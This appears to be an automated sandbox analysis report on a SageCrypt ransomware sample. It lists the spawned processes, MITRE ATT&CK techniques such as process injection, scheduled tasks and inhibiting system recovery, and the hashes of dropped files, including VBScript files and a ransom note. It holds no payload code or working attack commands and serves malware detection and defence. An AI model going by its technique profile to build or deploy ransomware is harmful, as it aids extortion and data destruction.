C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Ransom.Win32.SageCrypt.dsd.exe
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1120
- C:\Windows\SysWOW64\wermgr.exe
  "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1120" "908" "768" "896" "0" "0" "892" "888" "0" "0" "0" "0"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2012
- C:\Windows\SysWOW64\wermgr.exe
  "C:\Windows\system32\wermgr.exe" "-outproc" "0" "1120" "888" "664" "900" "0" "0" "916" "864" "0" "0" "0" "0"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4856

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2312

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004D8
1⤵
PID:3508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Process Injection

T1055

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

rasphone.pbk

Path C:\ProgramData\Microsoft\Network\Connections\Pbk\rasphone.pbk
Size 2KB
SHA256 1bacc6667454af2c6b52612db0f227498b87ce608edadedfdf7cc8e439d71975
MD5 f7364a1cc5258f3bb4205b70a25dc7cd
SHA1 30241b4ca7bcef9e63be91dfdfd68cca559aa139
SHA512 a662cf2252b77f9ada271087624285e41cada8438b8703e9cfeb47f0d50f6dfad5d121ceb45e885fff3a8a8c85baae9bad24391d228ac609938d11e01603c850
TLSH
T1DD51B6002F4923750888E06B29F6938C2EE7BE58C8E590585FCC5CCF2EE5D01789DAA8
MD5 SHA1 SHA512 TLSH

Submit Download

rasphone.pbk

Path C:\ProgramData\Microsoft\Network\Connections\Pbk\rasphone.pbk
Size 2KB
SHA256 201c6e7d29a50d23b09a11034235ac15d4d66a062b0d8d81a72ccbb291a3178a
MD5 5e5b71c2594ac5dac96c30c337a6c8b2
SHA1 b8daa498823b5217792443a7e7866a93c4c9cb55
SHA512 7190af8bdb94f0cba67b2533c961a35a0e94c8f1cf7ac9c65ff2d61db10ab04047aa765e11dcdf45b38b7962dbd596062fee2acf48f1e18825124d17e6ebb4df
TLSH
T18351B6002F4923750888E06B29F6938C2EE7BE59C8E590585FCC5CCF2EE5D01789DAA8
MD5 SHA1 SHA512 TLSH

Submit Download

f1.vbs

Path C:\Users\Admin\AppData\Local\Temp\f1.vbs
Size 3KB
SHA256 2a0d2418a2504ad14960dcff54f0892339eeed53e359585c9b04a29c4e6e4274
MD5 37219fd2d09abee4189a1ae33de93e2d
SHA1 5e4cc26e169b6bd16843bcc86806556dac372c57
SHA512 626b89eb5b132ac43a6fb2d5dcc1c62349a6a48045a486835aa51c17348b0c4849cf5d56b4b56359c7bab5bdccaa04adf659f7486de84f9c14d86032272e5069
TLSH
T1EA615C1A2E69F17D1D9241C5272AC111F31BFCEE62030E86A40DE458761B3A72FD35F9
MD5 SHA1 SHA512 TLSH

Submit Download

f2593429672.vbs

Path C:\Users\Admin\AppData\Local\Temp\f2593429672.vbs
Size 568B
SHA256 3b3ec2486a1d8fceb365b2fe095b465dee509b94109eede5ac917f44176b2c94
MD5 1ea6a910324e53849cf354a72339a00a
SHA1 ea9fd4302dd83f9bc8b05ef692db5d1500651cef
SHA512 d0b71bdda5deb18edd39e20151fd76870c329a823312f709b15a2169b678484e24ba455ac45bf4e8de88467f9e43704b72fb6a7c6c6d171f4d338808c45159b6
TLSH
T10BF0541067E91114F2F3BE617FB550550E39B962E922D71D44D0174E44B19188D2AF6A
MD5 SHA1 SHA512 TLSH

Submit Download

!HELP_SOS.hta

Path C:\Users\Admin\AppData\Roaming\JoinEdit\!HELP_SOS.hta
Size 91KB
SHA256 7e12ab9511198aced99076d0d0158076cad58d09c1626f0eba6927539c8446b0
MD5 91147ffd499101e1bbe040845d7330ca
SHA1 e6b8db2e77c23a26af7010d2450b5e7c7ab7b9b4
SHA512 e67101435ab4290a7a807ebf31bdd7ef1164df01e7da37293d92aee807245b396eb5c836a3252f1d68c760b38f8113f796e4fa79f7c36bad9705e51c946873e0
SSDEEP 1536:uwOWsu3KU8CT3aZW9vQnBGP2VRANbp4dG5+bg8E0dgqxiBtPy4ZlPhhF3cRhvGh1:uwSInKZW9v8BGP2VeNbedG5+bg9ygqxs
TLSH
T133932A64AB8DB83B17A716CB61A1727AF0AF2D31C706C601F5BB837071D2D54BA0E497
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

s1qoaKDO.tmp

Path C:\Users\Admin\AppData\Roaming\s1qoaKDO.tmp
Size 72B
SHA256 8178908b0d9f676bf37b1131faadd4a62abcb72dc9e895b81c99e4076e3d6eae
MD5 fef84869ae1c6e458fea6d8e8bcb1738
SHA1 896169a2b5cd496e3bdef6730ddc791bd5e39393
SHA512 1ba28f9f483613286f852c0d57046b2cc6d699dfb7be293b26d8ec918e27eaacf495380329c326af5252aa5a791a7f3a637e7983cbb9b23e57ff6afcb1366227
TLSH
T1B9A00280E21549DCE4D1A870D7E3483657A5FD922611A7496BAF5A444C914597C84460
MD5 SHA1 SHA512 TLSH

Submit Download

RegisterPing.tiff...

Path C:\Users\Admin\Downloads\RegisterPing.tiff...
Size 638KB
SHA256 72c705caf85035c31f7bf4e2ae142c148c8a4de64bb38f57620d98ea42b48bd6
MD5 c45e7a398a1eee8b651fb50482ab3a0f
SHA1 7913a3b643bb6057825fe1abe14e20dd2aac70ad
SHA512 0dfa2dd40d0f1c91723b9a4036fefac26c7f84cbab439349ab290a37670aaeef1e7622f183827cb4f8a9d187f42b1728d62178d16dd088149eb4591ad6f41b43
SSDEEP 12288:ZCA0e1uZvDnJWtMdEuvgTx7TlN3Gzhe6Htis/0aWWdooNpL/AHbX6yhC:ke1EDnfd/2GFFNt/0OoK+HbX6yhC
TLSH
T1DAD42370EEE52183F66C2CE1F781A7B63A09039D9241D967FA5ED341B10398F41AD7A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SplitProtect.ttf...

Path C:\Users\Admin\Downloads\SplitProtect.ttf...
Size 293KB
SHA256 99e17b06c4351d9fbd2950e30789a0c0ed2b7dcb260805045f35785999d80304
MD5 de787f5c320e0fd36e033a74b0e5f94c
SHA1 342ee1fc43b34e5740ab674212a2d1737379d17c
SHA512 51c9280302a42e59b9e174ebe9aac6f6f4905bc78ccc789548d07e6c20eaf114c61213a51e32c85e4cca1fd660a8edb54ede3129c755ccfed516c3ba20efe620
SSDEEP 6144:Ts0cmcb3ci7qN27q4WaPWLju/MKGRV/v38GjrZAQ1IBHsire5EyM:Y0VcwimNSDWNjSaVVrZ0TkEyM
TLSH
T1435423596EA1FFFE6A5645D503B232C46051BBB5003FA7A39AF06C8C2C90BB5F4E9443
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1120-31-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/1648-29-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4704-15-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4704-24-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4704-0-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4704-7-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/4704-6-0x0000000002510000-0x0000000002590000-memory.dmp

Download

memory/5808-32-0x0000000000AB0000-0x0000000000ADA000-memory.dmp

Download

memory/5808-25-0x0000000000AB0000-0x0000000000ADA000-memory.dmp

Download

memory/5808-1593-0x0000000000AB0000-0x0000000000ADA000-memory.dmp

Download